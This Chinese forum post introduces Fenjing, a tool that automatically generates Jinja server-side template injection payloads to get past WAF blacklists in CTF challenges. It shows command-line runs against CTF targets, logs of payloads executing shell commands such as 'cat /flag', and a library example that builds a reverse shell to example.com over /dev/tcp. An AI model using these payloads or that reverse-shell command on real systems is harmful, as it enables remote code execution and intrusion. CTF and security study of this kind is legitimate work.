焚靖：也许是一个CTF Jinja SSTI常规题通杀工具

Marven11 (/u/56719) / 2023-06-03 13:21:00 / 发表于广东 / 浏览数 3193

免责声明

本文仅限于技术研究与讨论，工具仅为CTF赛事开发，严禁用于非法用途，否则产生的一切后果自行承担。

前言

之前有一段时间在研究SSTI, 将CTF中常见的Jinja SSTI WAF绕过技巧整合成了一个工具，基本做到了常规SSTI通杀。

最近主要功能开发基本完毕，Github也破了50星，就简单发一篇文章讲讲这个工具。

介绍

焚靖 (https://github.com/Marven11/Fenjing)是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。

焚靖融合了CTF赛事中常见的SSTI绕过技巧，可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF.

其支持自动扫描目标网站中的form元素进行攻击，也支持手动指定payload提交方式让其自动分析并产生payload.

它还支持在攻击成功后直接返回一个模拟终端方便选手执行任意Linux Shell指令。也可以在攻击成功后生成并返回对应的payload

焚靖既可以作为命令行程序使用，也可以作为python库导入到脚本中，其还提供一个网页UI方便不熟悉命令行的选手使用。

实战

<ez_ze></ez_ze>

此题的waf正则如下：

```
pattern = r"(\{\{|\}\}|popen|os|subprocess|application|getitem|flag\.txt|\._|\[|\]|\"|class|subclasses|mro|\\)"
```

使用命令行 `python -m fenjing scan --url http://nodex.anna.nssctf.cn:xxxxx/` 进行攻击，攻击成功后直接返回了一个模拟终端，可以执行任意Linux Shell命令：

```
$>> cat /flag
INFO:[payload_gen] | Great, string("__import__('os').popen('cat /flag')") can be (('%c'*35)%(95,95,105,109,112,111,11
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('cat /flag')")
INFO:[payload_gen] | Great, we generate os_popen_obj('cat /flag')
INFO:[payload_gen] | Great, we generate os_popen_read('cat /flag')
```

SSTI - Lab

直接上Level 13，黑名单如下： `bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']`

执行 `python -m fenjing scan --url http://nodex.anna.nssctf.cn:xxxxx/level/13` ，当然也是成功的。

```
$>> env
INFO:[payload_gen] | Great, string("__import__('os').popen('env')") can be ((((lipsum()|urlencode|first)~(dict(c=x)|
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('env')")
INFO:[payload_gen] | Great, we generate os_popen_obj('env')
INFO:[payload_gen] | Great, we generate os_popen_read('env')
```

也测试了Level 9, 其waf了阿拉伯数字, 当然也是成功的。

```
$>> env
INFO:[payload_gen] | Great, integer(29) can be (zb+e)
INFO:[payload_gen] | Great, integer(118) can be (llla+t)
INFO:[payload_gen] | Great, string("__import__('os').popen('env')") can be (('%c'*(zb+e))%((qo+e+la+la),(qo+e+la+la),
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('env')")
INFO:[payload_gen] | Great, we generate os_popen_obj('env')
INFO:[payload_gen] | Great, we generate os_popen_read('env')
```

CTFShow WEB入门 SSTI

直接上最难的web372，这题的正则长这样： `re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print|count",name,re.I)`

这题需要手动指定提交方式，使用crack功能： `python -m fenjing crack --url http://8470780a-69f8-4098-8a89-250eaead1a95.challenge.ctf.show/ --method GET --inputs name`

成功是成功了，但是这一题没有回显，就敲了一个sleep 5

目录

```
$>> sleep 5
INFO:[payload_gen] | Great, integer(33) can be (lla+lla+lla)
INFO:[payload_gen] | Great, integer(53) can be (lla+lla+lla+lla+bb+la+la+la)
INFO:[payload_gen] | Great, string("__import__('os').popen('sleep 5')") can be ((((lipsum()|urlencode|first)+(dict(c=
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('sleep 5')")
INFO:[payload_gen] | Great, we generate os_popen_obj('sleep 5')
INFO:[payload_gen] | Great, we generate os_popen_read('sleep 5')
```

反弹shell也是可以的，这里就不放出来了

也测试了比较难的web369，这题是可以回显的

```
$>> cat /flag
INFO:[payload_gen] | Great, string("__import__('os').popen('cat /flag')") can be ((((lipsum()|urlencode|first)+(dict(
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('cat /flag')")
INFO:[payload_gen] | Great, we generate os_popen_obj('cat /flag')
INFO:[payload_gen] | Great, we generate os_popen_read('cat /flag')
```

用户反馈的waf

所有黑名单如下：

```
blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
'posix', 'builtins', 'namespace','open', 'read', '\\', 'self', 'mro', 'base',
'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import',
'include','request', '{{', '}}', '"', 'config','=']
```

在改进后也实现了全自动绕过

```
$>> cat app.py
INFO:[payload_gen] | Great, string("__import__('os').popen('cat app.py')") can be (((((lipsum,)|map(((lipsum|string|l
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('cat app.py')")
INFO:[payload_gen] | Great, we generate os_popen_obj('cat app.py')
INFO:[payload_gen] | Great, we generate os_popen_read('cat app.py')
```

安装

支持使用以下方法安装：

使用pip安装运行

```
pip install fenjing
python -m fenjing webui
```

下载并运行docker镜像

```
docker pull marven11/fenjing
docker run --net host -it marven11/fenjing webui
```

使用

启动网页UI, 只需要 `python -m fenjing webui` 然后访问http://127.0.0.1:11451 (http://127.0.0.1:11451)即可

如果网站的HTML中含有可以攻击的表单元素，直接使用 `python -m fenjing scan --url 'http://xxx/'` 攻击即可

如果没有则可以手动指定提交方式（GET/POST）与字段名： `python -m fenjing crack --url 'http://xxx/' --method GET --inputs name`

也可以作为库导入后手动为其提供WAF函数，让其自动分析，解决无法通过常规方式提交payload的题目：

```
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "０","１","２","３","４","５","６","７","８","９"
    ]
    return all(word in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")

    print(f"{shell_payload=}")
```

所有使用方式详见项目Github主页 (https://github.com/Marven11/Fenjing)

情景

焚靖针对这一类常规的SSTI题目设计：对用户提供的payload进行正则匹配（或字符串匹配），匹配到危险内容则返回特定的页面，没有匹配到危险内容则将payload拼接到模板中渲染。

因为我们可以很轻松地在payload中构建多条表达式/语句，不难想到我们可以通过类似自动构建语法树的方式全自动地生成payload.

而且因为WAF函数仅仅是一个正则表达式匹配，我们可以确认其拥有幂等性等性质，这大大简化了绕过WAF的工作。

支持项目

焚靖是根据上方提到的情景设计的，如果发现了其应该解出但无法解出的题目，欢迎到Github Issues (https://github.com/Marven11/Fenjing/issues)提交反馈。

上一篇： CVE-2022-47966 SA... (/t/12584)　下一篇： hyorm，一款自研java or... (/t/12587)